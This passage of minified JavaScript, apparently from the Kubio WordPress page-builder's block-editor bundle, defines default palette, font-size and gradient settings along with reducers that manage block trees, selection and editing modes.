amber","kubio"),slug:"luminous-vivid-amber",color:"#fcb900"},{name:(0,Je.__)("Light green cyan","kubio"),slug:"light-green-cyan",color:"#7bdcb5"},{name:(0,Je.__)("Vivid green cyan","kubio"),slug:"vivid-green-cyan",color:"#00d084"},{name:(0,Je.__)("Pale cyan blue","kubio"),slug:"pale-cyan-blue",color:"#8ed1fc"},{name:(0,Je.__)("Vivid cyan blue","kubio"),slug:"vivid-cyan-blue",color:"#0693e3"},{name:(0,Je.__)("Vivid purple","kubio"),slug:"vivid-purple",color:"#9b51e0"}],fontSizes:[{name:(0,Je._x)("Small","font size name","kubio"),size:13,slug:"small"},{name:(0,Je._x)("Normal","font size name","kubio"),size:16,slug:"normal"},{name:(0,Je._x)("Medium","font size name","kubio"),size:20,slug:"medium"},{name:(0,Je._x)("Large","font size name","kubio"),size:36,slug:"large"},{name:(0,Je._x)("Huge","font size name","kubio"),size:42,slug:"huge"}],imageDefaultSize:"large",imageSizes:[{slug:"thumbnail",name:(0,Je.__)("Thumbnail","kubio")},{slug:"medium",name:(0,Je.__)("Medium","kubio")},{slug:"large",name:(0,Je.__)("Large","kubio")},{slug:"full",name:(0,Je.__)("Original Size","kubio")}],imageEditing:!0,maxWidth:580,allowedBlockTypes:!0,maxUploadFileSize:0,allowedMimeTypes:null,canLockBlocks:!0,enableOpenverseMediaCategory:!0,clearBlockSelection:!0,__experimentalCanUserUseUnfilteredHTML:!1,__experimentalBlockDirectory:!1,__mobileEnablePageTemplates:!1,__experimentalBlockPatterns:[],__experimentalBlockPatternCategories:[],__unstableGalleryWithImageBlocks:!1,__unstableIsPreviewMode:!1,isPreviewMode:!1,blockInspectorAnimation:{animationParent:"core/navigation","core/navigation":{enterDirection:"leftToRight"},"core/navigation-submenu":{enterDirection:"rightToLeft"},"core/navigation-link":{enterDirection:"rightToLeft"},"core/search":{enterDirection:"rightToLeft"},"core/social-links":{enterDirection:"rightToLeft"},"core/page-list":{enterDirection:"rightToLeft"},"core/spacer":{enterDirection:"rightToLeft"},"core/home-link":{enterDirection:"rightToLeft"},"core/site-title":{enterDirection:"rightToLeft"},"core/site-logo":{enterDirection:"rightToLeft"}},generateAnchors:!1,gradients:[{name:(0,Je.__)("Vivid cyan blue to vivid purple","kubio"),gradient:"linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%)",slug:"vivid-cyan-blue-to-vivid-purple"},{name:(0,Je.__)("Light green cyan to vivid green cyan","kubio"),gradient:"linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%)",slug:"light-green-cyan-to-vivid-green-cyan"},{name:(0,Je.__)("Luminous vivid amber to luminous vivid orange","kubio"),gradient:"linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%)",slug:"luminous-vivid-amber-to-luminous-vivid-orange"},{name:(0,Je.__)("Luminous vivid orange to vivid red","kubio"),gradient:"linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%)",slug:"luminous-vivid-orange-to-vivid-red"},{name:(0,Je.__)("Very light gray to cyan bluish gray","kubio"),gradient:"linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%)",slug:"very-light-gray-to-cyan-bluish-gray"},{name:(0,Je.__)("Cool to warm spectrum","kubio"),gradient:"linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%)",slug:"cool-to-warm-spectrum"},{name:(0,Je.__)("Blush light purple","kubio"),gradient:"linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%)",slug:"blush-light-purple"},{name:(0,Je.__)("Blush bordeaux","kubio"),gradient:"linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%)",slug:"blush-bordeaux"},{name:(0,Je.__)("Luminous dusk","kubio"),gradient:"linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%)",slug:"luminous-dusk"},{name:(0,Je.__)("Pale ocean","kubio"),gradient:"linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%)",slug:"pale-ocean"},{name:(0,Je.__)("Electric grass","kubio"),gradient:"linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%)",slug:"electric-grass"},{name:(0,Je.__)("Midnight","kubio"),gradient:"linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%)",slug:"midnight"}],__unstableResolvedAssets:{styles:[],scripts:[]}},nt=Symbol("globalStylesDataKey"),ot=Symbol("globalStylesLinks"),it=Symbol("selectBlockPatternsKey"),rt=Symbol("reusableBlocksSelect"),lt=Symbol("sectionRootClientIdKey");let st=!1;const at=(0,oe.wpVersionCompare)("6.8",">=");if(c.privateApis){const e=ge(c.privateApis);st=null==e?void 0:e.blockPrivateApis}const ct=e=>e;function ut(e,t=""){const n=new Map,o=[];return n.set(t,o),e.forEach((e=>{const{clientId:t,innerBlocks:i}=e;o.push(t),ut(i,t).forEach(((e,t)=>{n.set(t,e)}))})),n}function dt(e,t=""){const n=[],o=[[t,e]];for(;o.length;){const[e,t]=o.shift();t.forEach((({innerBlocks:t,...i})=>{n.push([i.clientId,e]),null!=t&&t.length&&o.push([i.clientId,t])}))}return n}function pt(e,t=ct){const n=[],o=[...e];for(;o.length;){const{innerBlocks:e,...i}=o.shift();o.push(...e),n.push([i.clientId,t(i)])}return n}function ht(e){return pt(e,(e=>{const{attributes:t,...n}=e;return n}))}function gt(e){return pt(e,(e=>e.attributes))}function ft(e,t){const n=e.tree,o=[...t],i=[...t];for(;o.length;){const e=o.shift();o.push(...e.innerBlocks),i.push(...e.innerBlocks)}for(const e of i)n.set(e.clientId,{});for(const t of i)n.set(t.clientId,Object.assign(n.get(t.clientId),{...e.byClientId.get(t.clientId),attributes:e.attributes.get(t.clientId),innerBlocks:t.innerBlocks.map((e=>n.get(e.clientId)))}))}function mt(e,t,n=!1){const o=e.tree,i=new Set([]),r=new Set;for(const o of t){let t=n?o:e.parents.get(o);do{if(e.controlledInnerBlocks[t]){r.add(t);break}i.add(t),t=e.parents.get(t)}while(void 0!==t)}for(const e of i)o.set(e,{...o.get(e)});for(const t of i)o.get(t).innerBlocks=(e.order.get(t)||[]).map((e=>o.get(e)));for(const t of r)o.set("controlled||"+t,{innerBlocks:(e.order.get(t)||[]).map((e=>o.get(e)))})}const vt=(0,p.pipe)(d.combineReducers,(e=>(t,n)=>{if(t&&"SAVE_REUSABLE_BLOCK_SUCCESS"===n.type){const{id:e,updatedId:o}=n;if(e===o)return t;(t={...t}).attributes=new Map(t.attributes),t.attributes.forEach(((n,i)=>{const{name:r}=t.byClientId.get(i);"core/block"===r&&n.ref===e&&t.attributes.set(i,{...n,ref:o})}))}return e(t,n)}),(e=>(t={},n)=>{const o=e(t,n);if(o===t)return t;switch(o.tree=t.tree?t.tree:new Map,n.type){case"RECEIVE_BLOCKS":case"INSERT_BLOCKS":o.tree=new Map(o.tree),ft(o,n.blocks),mt(o,n.rootClientId?[n.rootClientId]:[""],!0);break;case"UPDATE_BLOCK":o.tree=new Map(o.tree),o.tree.set(n.clientId,{...o.tree.get(n.clientId),...o.byClientId.get(n.clientId),attributes:o.attributes.get(n.clientId)}),mt(o,[n.clientId],!1);break;case"SYNC_DERIVED_BLOCK_ATTRIBUTES":case"UPDATE_BLOCK_ATTRIBUTES":o.tree=new Map(o.tree),n.clientIds.forEach((e=>{o.tree.set(e,{...o.tree.get(e),attributes:o.attributes.get(e)})})),mt(o,n.clientIds,!1);break;case"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const e=function(e){const t={},n=[...e];for(;n.length;){const{innerBlocks:e,...o}=n.shift();n.push(...e),t[o.clientId]=!0}return t}(n.blocks);o.tree=new Map(o.tree),n.replacedClientIds.concat(n.replacedClientIds.filter((t=>!e[t])).map((e=>"controlled||"+e))).forEach((e=>{o.tree.delete(e)})),ft(o,n.blocks),mt(o,n.blocks.map((e=>e.clientId)),!1);const i=[];for(const e of n.clientIds)void 0===t.parents.get(e)||""!==t.parents.get(e)&&!o.byClientId.get(t.parents.get(e))||i.push(t.parents.get(e));mt(o,i,!0);break}case"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":const e=[];for(const i of n.clientIds)void 0===t.parents.get(i)||""!==t.parents.get(i)&&!o.byClientId.get(t.parents.get(i))||e.push(t.parents.get(i));o.tree=new Map(o.tree),n.removedClientIds.concat(n.removedClientIds.map((e=>"controlled||"+e))).forEach((e=>{o.tree.delete(e)})),mt(o,e,!0);break;case"MOVE_BLOCKS_TO_POSITION":{const e=[];n.fromRootClientId?e.push(n.fromRootClientId):e.push(""),n.toRootClientId&&e.push(n.toRootClientId),o.tree=new Map(o.tree),mt(o,e,!0);break}case"MOVE_BLOCKS_UP":case"MOVE_BLOCKS_DOWN":{const e=[n.rootClientId?n.rootClientId:""];o.tree=new Map(o.tree),mt(o,e,!0);break}case"SAVE_REUSABLE_BLOCK_SUCCESS":{const e=[];o.attributes.forEach(((t,i)=>{"core/block"===o.byClientId.get(i).name&&t.ref===n.updatedId&&e.push(i)})),o.tree=new Map(o.tree),e.forEach((e=>{o.tree.set(e,{...o.byClientId.get(e),attributes:o.attributes.get(e),innerBlocks:o.tree.get(e).innerBlocks})})),mt(o,e,!1)}}return o}),(e=>(t,n)=>{const o=e=>{let o=e;for(let i=0;i<o.length;i++)!t.order.get(o[i])||n.keepControlledInnerBlocks&&n.keepControlledInnerBlocks[o[i]]||(o===e&&(o=[...o]),o.push(...t.order.get(o[i])));return o};if(t)switch(n.type){case"REMOVE_BLOCKS":n={...n,type:"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN",removedClientIds:o(n.clientIds)};break;case"REPLACE_BLOCKS":n={...n,type:"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN",replacedClientIds:o(n.clientIds)}}return e(t,n)}),(e=>(t,n)=>{if("REPLACE_INNER_BLOCKS"!==n.type)return e(t,n);const o={};if(Object.keys(t.controlledInnerBlocks).length){const e=[...n.blocks];for(;e.length;){const{innerBlocks:n,...i}=e.shift();e.push(...n),t.controlledInnerBlocks[i.clientId]&&(o[i.clientId]=!0)}}let i=t;t.order.get(n.rootClientId)&&(i=e(i,{type:"REMOVE_BLOCKS",keepControlledInnerBlocks:o,clientIds:t.order.get(n.rootClientId)}));let r=i;if(n.blocks.length){r=e(r,{...n,type:"INSERT_BLOCKS",index:0});const i=new Map(r.order);Object.keys(o).forEach((e=>{t.order.get(e)&&i.set(e,t.order.get(e))})),r.order=i,r.tree=new Map(r.tree),Object.keys(o).forEach((e=>{const n=`controlled||${e}`;t.tree.has(n)&&r.tree.set(n,t.tree.get(n))}))}return r}),(e=>(t,n)=>{if("RESET_BLOCKS"===n.type){const e={...t,byClientId:new Map(ht(n.blocks)),attributes:new Map(gt(n.blocks)),order:ut(n.blocks),parents:new Map(dt(n.blocks)),controlledInnerBlocks:{}};return e.tree=new Map(null==t?void 0:t.tree),ft(e,n.blocks),e.tree.set("",{innerBlocks:n.blocks.map((t=>e.tree.get(t.clientId)))}),e}return e(t,n)}),(function(e){let t,n,o=!1;return(i,r)=>{let l,s=e(i,r);var a;if("SET_EXPLICIT_PERSISTENT"===r.type&&(n=r.isPersistentChange,l=null===(a=i.isPersistentChange)||void 0===a||a),void 0!==n)return l=n,l===s.isPersistentChange?s:{...s,isPersistentChange:l};const c="MARK_LAST_CHANGE_AS_PERSISTENT"===r.type||o;var u;return i!==s||c?(s={...s,isPersistentChange:!c||!o},t=r,o="MARK_NEXT_CHANGE_AS_NOT_PERSISTENT"===r.type,s):(o="MARK_NEXT_CHANGE_AS_NOT_PERSISTENT"===r.type,l=null===(u=null==i?void 0:i.isPersistentChange)||void 0===u||u,i.isPersistentChange===l?i:{...s,isPersistentChange:l})}}),(function(e){const t=new Set(["RECEIVE_BLOCKS"]);return(n,o)=>{const i=e(n,o);return i!==n&&(i.isIgnoredChange=t.has(o.type)),i}}),(e=>(t,n)=>{if("SET_HAS_CONTROLLED_INNER_BLOCKS"===n.type){const o=e(t,{type:"REPLACE_INNER_BLOCKS",rootClientId:n.clientId,blocks:[]});return e(o,n)}return e(t,n)}))({byClientId(e=new Map,t){switch(t.type){case"RECEIVE_BLOCKS":case"INSERT_BLOCKS":{const n=new Map(e);return ht(t.blocks).forEach((([e,t])=>{n.set(e,t)})),n}case"UPDATE_BLOCK":{if(!e.has(t.clientId))return e;const{attributes:n,...o}=t.updates;if(0===Object.values(o).length)return e;const i=new Map(e);return i.set(t.clientId,{...e.get(t.clientId),...o}),i}case"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN":{if(!t.blocks)return e;const n=new Map(e);return t.replacedClientIds.forEach((e=>{n.delete(e)})),ht(t.blocks).forEach((([e,t])=>{n.set(e,t)})),n}case"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const n=new Map(e);return t.removedClientIds.forEach((e=>{n.delete(e)})),n}}return e},attributes(e=new Map,t){switch(t.type){case"RECEIVE_BLOCKS":case"INSERT_BLOCKS":{const n=new Map(e);return gt(t.blocks).forEach((([e,t])=>{n.set(e,t)})),n}case"UPDATE_BLOCK":{if(!e.get(t.clientId)||!t.updates.attributes)return e;const n=new Map(e);return n.set(t.clientId,{...e.get(t.clientId),...t.updates.attributes}),n}case"SYNC_DERIVED_BLOCK_ATTRIBUTES":case"UPDATE_BLOCK_ATTRIBUTES":{if(t.clientIds.every((t=>!e.get(t))))return e;let o=!1;const i=new Map(e);for(const r of t.clientIds){var n;const l=Object.entries(t.uniqueByBlock?t.attributes[r]:null!==(n=t.attributes)&&void 0!==n?n:{});if(0===l.length)continue;let s=!1;const a=e.get(r),c={};l.forEach((([e,t])=>{a[e]!==t&&(s=!0,c[e]=t)})),o=o||s,s&&i.set(r,{...a,...c})}return o?i:e}case"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN":{if(!t.blocks)return e;const n=new Map(e);return t.replacedClientIds.forEach((e=>{n.delete(e)})),gt(t.blocks).forEach((([e,t])=>{n.set(e,t)})),n}case"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const n=new Map(e);return t.removedClientIds.forEach((e=>{n.delete(e)})),n}}return e},order(e=new Map,t){switch(t.type){case"RECEIVE_BLOCKS":{var n;const o=ut(t.blocks),i=new Map(e);return o.forEach(((e,t)=>{""!==t&&i.set(t,e)})),i.set("",(null!==(n=e.get(""))&&void 0!==n?n:[]).concat(o[""])),i}case"INSERT_BLOCKS":{const{rootClientId:n=""}=t,o=e.get(n)||[],i=ut(t.blocks,n),{index:r=o.length}=t,l=new Map(e);return i.forEach(((e,t)=>{l.set(t,e)})),l.set(n,Xe(o,i.get(n),r)),l}case"MOVE_BLOCKS_TO_POSITION":{var o,i;const{fromRootClientId:n="",toRootClientId:r="",clientIds:l}=t,{index:s=e.get(r).length}=t;if(n===r){const t=e.get(r).indexOf(l[0]),n=new Map(e);return n.set(r,Qe(e.get(r),t,s,l.length)),n}const a=new Map(e);return a.set(n,null!==(o=null===(i=e.get(n))||void 0===i?void 0:i.filter((e=>!l.includes(e))))&&void 0!==o?o:[]),a.set(r,Xe(e.get(r),l,s)),a}case"MOVE_BLOCKS_UP":{const{clientIds:n,rootClientId:o=""}=t,i=n[0],r=e.get(o);if(!r.length||i===r[0])return e;const l=r.indexOf(i),s=new Map(e);return s.set(o,Qe(r,l,l-1,n.length)),s}case"MOVE_BLOCKS_DOWN":{const{clientIds:n,rootClientId:o=""}=t,i=n[0],r=n[n.length-1],l=e.get(o);if(!l.length||r===l[l.length-1])return e;const s=l.indexOf(i),a=new Map(e);return a.set(o,Qe(l,s,s+1,n.length)),a}case"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const{clientIds:n}=t;if(!t.blocks)return e;const o=ut(t.blocks),i=new Map(e);return t.replacedClientIds.forEach((e=>{i.delete(e)})),o.forEach(((e,t)=>{""!==t&&i.set(t,e)})),i.forEach(((e,t)=>{const r=Object.values(e).reduce(((e,t)=>t===n[0]?[...e,...o.get("")]:(-1===n.indexOf(t)&&e.push(t),e)),[]);i.set(t,r)})),i}case"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const n=new Map(e);return t.removedClientIds.forEach((e=>{n.delete(e)})),n.forEach(((e,o)=>{var i;const r=null!==(i=null==e?void 0:e.filter((e=>!t.removedClientIds.includes(e))))&&void 0!==i?i:[];r.length!==e.length&&n.set(o,r)})),n}}return e},parents(e=new Map,t){switch(t.type){case"RECEIVE_BLOCKS":{const n=new Map(e);return dt(t.blocks).forEach((([e,t])=>{n.set(e,t)})),n}case"INSERT_BLOCKS":{const n=new Map(e);return dt(t.blocks,t.rootClientId||"").forEach((([e,t])=>{n.set(e,t)})),n}case"MOVE_BLOCKS_TO_POSITION":{const n=new Map(e);return t.clientIds.forEach((e=>{n.set(e,t.toRootClientId||"")})),n}case"REPLACE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const n=new Map(e);return t.replacedClientIds.forEach((e=>{n.delete(e)})),dt(t.blocks,e.get(t.clientIds[0])).forEach((([e,t])=>{n.set(e,t)})),n}case"REMOVE_BLOCKS_AUGMENTED_WITH_CHILDREN":{const n=new Map(e);return t.removedClientIds.forEach((e=>{n.delete(e)})),n}}return e},controlledInnerBlocks:(e={},{type:t,clientId:n,hasControlledInnerBlocks:o})=>"SET_HAS_CONTROLLED_INNER_BLOCKS"===t?{...e,[n]:o}:e});function bt(e={},t){switch(t.type){case"CLEAR_SELECTED_BLOCK":return e.clientId?{}:e;case"SELECT_BLOCK":return t.clientId===e.clientId?e:{clientId:t.clientId};case"REPLACE_INNER_BLOCKS":case"INSERT_BLOCKS":return t.updateSelection&&t.blocks.length?{clientId:t.blocks[0].clientId}:e;case"REMOVE_BLOCKS":return t.clientIds&&t.clientIds.length&&-1!==t.clientIds.indexOf(e.clientId)?{}:e;case"REPLACE_BLOCKS":{if(-1===t.clientIds.indexOf(e.clientId))return e;const n=t.blocks[t.indexToSelect]||t.blocks[t.blocks.length-1];return n?n.clientId===e.clientId?e:{clientId:n.clientId}:{}}}return e}const kt=(0,d.combineReducers)({blocks:vt,isDragging:function(e=!1,t){switch(t.type){case"START_DRAGGING":return!0;case"STOP_DRAGGING":return!1}return e},isTyping:function(e=!1,t){switch(t.type){case"START_TYPING":return!0;case"STOP_TYPING":return!1}return e},isBlockInterfaceHidden:function(e=!1,t){switch(t.type){case"HIDE_BLOCK_INTERFACE":return!0;case"SHOW_BLOCK_INTERFACE":return!1}return e},draggedBlocks:function(e=[],t){switch(t.type){case"START_DRAGGING_BLOCKS":return t.clientIds;case"STOP_DRAGGING_BLOCKS":return[]}return e},selection:function(e={},t){var n,o,i,r;switch(t.type){case"SELECTION_CHANGE":return t.clientId?{selectionStart:{clientId:t.clientId,attributeKey:t.attributeKey,offset:t.startOffset},selectionEnd:{clientId:t.clientId,attributeKey:t.attributeKey,offset:t.endOffset}}:{selectionStart:t.start||e.selectionStart,selectionEnd:t.end||e.selectionEnd};case"RESET_SELECTION":const{selectionStart:l,selectionEnd:s}=t;return{selectionStart:l,selectionEnd:s};case"MULTI_SELECT":const{start:a,end:c}=t;return a===(null===(n=e.selectionStart)||void 0===n?void 0:n.clientId)&&c===(null===(o=e.selectionEnd)||void 0===o?void 0:o.clientId)?e:{selectionStart:{clientId:a},selectionEnd:{clientId:c}};case"RESET_BLOCKS":const u=null==e||null===(i=e.selectionStart)||void 0===i?void 0:i.clientId,d=null==e||null===(r=e.selectionEnd)||void 0===r?void 0:r.clientId;if(!u&&!d)return e;if(!t.blocks.some((e=>e.clientId===u)))return{selectionStart:{},selectionEnd:{}};if(!t.blocks.some((e=>e.clientId===d)))return{...e,selectionEnd:e.selectionStart}}const l=bt(e.selectionStart,t),s=bt(e.selectionEnd,t);return l===e.selectionStart&&s===e.selectionEnd?e:{selectionStart:l,selectionEnd:s}},isMultiSelecting:function(e=!1,t){switch(t.type){case"START_MULTI_SELECT":return!0;case"STOP_MULTI_SELECT":return!1}return e},isSelectionEnabled:function(e=!0,t){return"TOGGLE_SELECTION"===t.type?t.isSelectionEnabled:e},initialPosition:function(e=null,t){return"REPLACE_BLOCKS"===t.type&&void 0!==t.initialPosition||["MULTI_SELECT","SELECT_BLOCK","RESET_SELECTION","INSERT_BLOCKS","REPLACE_INNER_BLOCKS"].includes(t.type)?t.initialPosition:e},blocksMode:function(e={},t){if("TOGGLE_BLOCK_MODE"===t.type){const{clientId:n}=t;return{...e,[n]:e[n]&&"html"===e[n]?"visual":"html"}}return e},blockListSettings:(e={},t)=>{switch(t.type){case"REPLACE_BLOCKS":case"REMOVE_BLOCKS":return Object.fromEntries(Object.entries(e).filter((([e])=>!t.clientIds.includes(e))));case"UPDATE_BLOCK_LIST_SETTINGS":{const n="string"==typeof t.clientId?{[t.clientId]:t.settings}:t.clientId;for(const t in n)n[t]?Ze()(e[t],n[t])&&delete n[t]:e[t]||delete n[t];if(0===Object.keys(n).length)return e;const o={...e,...n};for(const e in n)n[e]||delete o[e];return o}}return e},insertionPoint:function(e=null,t){switch(t.type){case"SET_INSERTION_POINT":return t.value;case"SELECT_BLOCK":return null}return e},insertionCue:function(e=null,t){switch(t.type){case"SHOW_INSERTION_POINT":{const{rootClientId:n,index:o,__unstableWithInserter:i,operation:r,nearestSide:l,kubioInsertionEdge:s}=t,a={rootClientId:n,index:o,__unstableWithInserter:i,operation:r,nearestSide:l,kubioInsertionEdge:s};return Ze()(e,a)?e:a}case"HIDE_INSERTION_POINT":return null}return e},template:function(e={isValid:!0},t){return"SET_TEMPLATE_VALIDITY"===t.type?{...e,isValid:t.isValid}:e},settings:function(e=tt,t){if("UPDATE_SETTINGS"===t.type){const n=t.reset?{...tt,...t.settings}:{...e,...t.settings};return Object.defineProperty(n,"__unstableIsPreviewMode",{get(){return Ye()("__unstableIsPreviewMode",{since:"6.8",alternative:"isPreviewMode"}),this.isPreviewMode}}),n}return e},preferences:function(e=et,t){switch(t.type){case"INSERT_BLOCKS":case"REPLACE_BLOCKS":return t.blocks.reduce(((e,n)=>{const{attributes:o,name:i}=n;let r=i;const l=(0,d.select)(c.store).getActiveBlockVariation(i,o);return null!=l&&l.name&&(r+="/"+l.name),"core/block"===i&&(r+="/"+o.ref),{...e,insertUsage:{...e.insertUsage,[r]:{time:t.time,count:e.insertUsage[r]?e.insertUsage[r].count+1:1}}}}),e)}return e},lastBlockAttributesChange:function(e=null,t){switch(t.type){case"UPDATE_BLOCK":if(!t.updates.attributes)break;return{[t.clientId]:t.updates.attributes};case"UPDATE_BLOCK_ATTRIBUTES":return t.clientIds.reduce(((e,n)=>({...e,[n]:t.uniqueByBlock?t.attributes[n]:t.attributes})),{})}return e},lastFocus:function(e=!1,t){return"LAST_FOCUS"===t.type?t.lastFocus:e},editorMode:function(e="edit",t){return"INSERT_BLOCKS"===t.type&&"navigation"===e?"edit":"SET_EDITOR_MODE"===t.type?t.mode:e},hasBlockMovingClientId:function(e=null,t){return"SET_BLOCK_MOVING_MODE"===t.type?t.hasBlockMovingClientId:"SET_EDITOR_MODE"===t.type?null:e},highlightedBlock:function(e,t){switch(t.type){case"TOGGLE_BLOCK_HIGHLIGHT":const{clientId:n,isHighlighted:o}=t;return o?n:e===n?null:e;case"SELECT_BLOCK":if(t.clientId!==e)return null}return e},lastBlockInserted:function(e={},t){var n;switch(t.type){case"INSERT_BLOCKS":case"REPLACE_BLOCKS":case"REPLACE_INNER_BLOCKS":if(!t.blocks.length)return e;const o=t.blocks.map((e=>e.clientId));return{clientIds:o,source:null===(n=t.meta)||void 0===n?void 0:n.source};case"RESET_BLOCKS":return{}}return e},temporarilyEditingAsBlocks:function(e="",t){return"SET_TEMPORARILY_EDITING_AS_BLOCKS"===t.type?t.temporarilyEditingAsBlocks:e},temporarilyEditingFocusModeRevert:function(e="",t){return"SET_TEMPORARILY_EDITING_AS_BLOCKS"===t.type?t.focusModeToRevert:e},blockVisibility:function(e={},t){return"SET_BLOCK_VISIBILITY"===t.type?{...e,...t.updates}:e},blockEditingModes:function(e=new Map,t){switch(t.type){case"SET_BLOCK_EDITING_MODE":return e.get(t.clientId)===t.mode?e:new Map(e).set(t.clientId,t.mode);case"UNSET_BLOCK_EDITING_MODE":{if(!e.has(t.clientId))return e;const n=new Map(e);return n.delete(t.clientId),n}case"RESET_BLOCKS":return e.has("")?(new Map).set("",e.get("")):e}return e},styleOverrides:function(e=new Map,t){switch(t.type){case"SET_STYLE_OVERRIDE":return new Map(e).set(t.id,t.style);case"DELETE_STYLE_OVERRIDE":{const n=new Map(e);return n.delete(t.id),n}}return e},removalPromptData:function(e=!1,t){switch(t.type){case"DISPLAY_BLOCK_REMOVAL_PROMPT":const{clientIds:e,selectPrevious:n,blockNamesForPrompt:o,messageType:i}=t;return{clientIds:e,selectPrevious:n,blockNamesForPrompt:o,messageType:i};case"CLEAR_BLOCK_REMOVAL_PROMPT":return!1}return e},blockRemovalRules:function(e=!1,t){return"SET_BLOCK_REMOVAL_RULES"===t.type?t.rules:e},openedBlockSettingsMenu:function(e=null,t){var n;return"SET_OPENED_BLOCK_SETTINGS_MENU"===t.type?null!==(n=null==t?void 0:t.clientId)&&void 0!==n?n:null:e},hoveredBlockClientId:function(e=!1,t){return"HOVER_BLOCK"===t.type?t.clientId:e},zoomLevel:function(e=100,t){switch(t.type){case"SET_ZOOM_LEVEL":return t.zoom;case"RESET_ZOOM_LEVEL":return 100}return e},lastBlockRemoved:function(e={},t){switch(t.type){case"RESET_BLOCKS":return{clientIds:[]};case"INSERT_BLOCKS":case"RECEIVE_BLOCKS":if(!t.blocks.length)return e;const n=t.blocks.filter((t=>-1!==(e.clientIds||[]).indexOf(t.clientId)));return{clientIds:(0,se.difference)(e.clientIds||[],n)};case"REMOVE_BLOCKS":return t.clientIds.length?{clientIds:null==t?void 0:t.clientIds}:e}return e},registeredInserterMediaCategories:function(e=[],t){return"REGISTER_INSERTER_MEDIA_CATEGORY"===t.type?[...e,t.category]:e},blockBindingsSources:function(e={},t){return"REGISTER_BLOCK_BINDINGS_SOURCE"===t.type?{...e,[t.sourceName]:{label:t.sourceLabel,useSource:t.useSource,lockAttributesEditing:t.lockAttributesEditing}}:e},blockPatterns:function(e=[],t){return"RECEIVE_BLOCK_PATTERNS"===t.type?t.patterns:e}});function _t(e,t){if(""===t){const n=e.blocks.tree.get(t);if(!n)return;return{clientId:"",...n}}if(!e.blocks.controlledInnerBlocks[t])return e.blocks.tree.get(t);const n=e.blocks.tree.get(`controlled||${t}`);return{...e.blocks.tree.get(t),innerBlocks:null==n?void 0:n.innerBlocks}}function yt(e,t,n){var o;const i=_t(e,t);if(i&&(n(i),null!=i&&null!==(o=i.innerBlocks)&&void 0!==o&&o.length))for(const t of null==i?void 0:i.innerBlocks)yt(e,t.clientId,n)}function xt(e,t,n){if(!n.length)return;let o=e.blocks.parents.get(t);for(;void 0!==o;){if(n.includes(o))return o;o=e.blocks.parents.get(o)}}function St(e){var t,n,o,i;return(null==e||null===(t=e.attributes)||void 0===t||null===(n=t.metadata)||void 0===n?void 0:n.bindings)&&Object.keys(null==e||null===(o=e.attributes)||void 0===o||null===(i=o.metadata)||void 0===i?void 0:i.bindings).length}function wt(e,t=!1,n=""){var o;const i=(null==e?void 0:e.zoomLevel)<100||"auto-scaled"===(null==e?void 0:e.zoomLevel),r=new Map,l=null===(o=e.settings)||void 0===o?void 0:o[lt],s=e.blocks.order.get(l),a=Array.from(e.blockEditingModes).some((([,e])=>"disabled"===e)),c=[],u=[];return Object.keys(e.blocks.controlledInnerBlocks).forEach((t=>{var n;const o=null===(n=e.blocks.byClientId)||void 0===n?void 0:n.get(t);"core/template-part"===(null==o?void 0:o.name)&&c.push(t),"core/block"===(null==o?void 0:o.name)&&u.push(t)})),yt(e,n,(n=>{const{clientId:o,name:d}=n;if(!e.blockEditingModes.has(o)){if(a){let t,n=e.blocks.parents.get(o);for(;void 0!==n&&(r.has(n)?t=r.get(n):e.blockEditingModes.has(n)&&(t=e.blockEditingModes.get(n)),!t);)n=e.blocks.parents.get(n);if("disabled"===t)return void r.set(o,"disabled")}if(i||t){if(o===l)return void r.set(o,"contentOnly");if(null==s||!s.length)return void r.set(o,"disabled");if(s.includes(o))return void r.set(o,"contentOnly");if(i)return void r.set(o,"disabled");if(!xt(e,o,s)){if(""===o)return void r.set(o,"disabled");if("core/template-part"===d)return void r.set(o,"contentOnly");if(!xt(e,o,c)&&!st(d)&&at)return void r.set(o,"disabled")}if(u.length){const t=xt(e,o,u);if(t)return xt(e,t,u)?void r.set(o,"disabled"):St(n)?void r.set(o,"contentOnly"):void r.set(o,"disabled")}return d&&st(d)&&at?void r.set(o,"contentOnly"):void r.set(o,"disabled")}if(u.length){if(u.includes(o))return xt(e,o,u)?void r.set(o,"disabled"):void 0;const t=xt(e,o,u);if(t){if(xt(e,t,u))return void r.set(o,"disabled");if(St(n))return void r.set(o,"contentOnly");r.set(o,"disabled")}}}})),r}function Ct({prevState:e,nextState:t,addedBlocks:n,removedClientIds:o,isNavMode:i=!1}){const r=i?e.derivedNavModeBlockEditingModes:e.derivedBlockEditingModes;let l;return null==o||o.forEach((t=>{yt(e,t,(e=>{r.has(e.clientId)&&(l||(l=new Map(r)),l.delete(e.clientId))}))})),null==n||n.forEach((e=>{yt(t,e.clientId,(e=>{const n=wt(t,i,e.clientId);var o;n.size&&(l=l?new Map([...null!==(o=l)&&void 0!==o&&o.size?l:[],...n]):new Map([...null!=r&&r.size?r:[],...n]))}))})),l}const 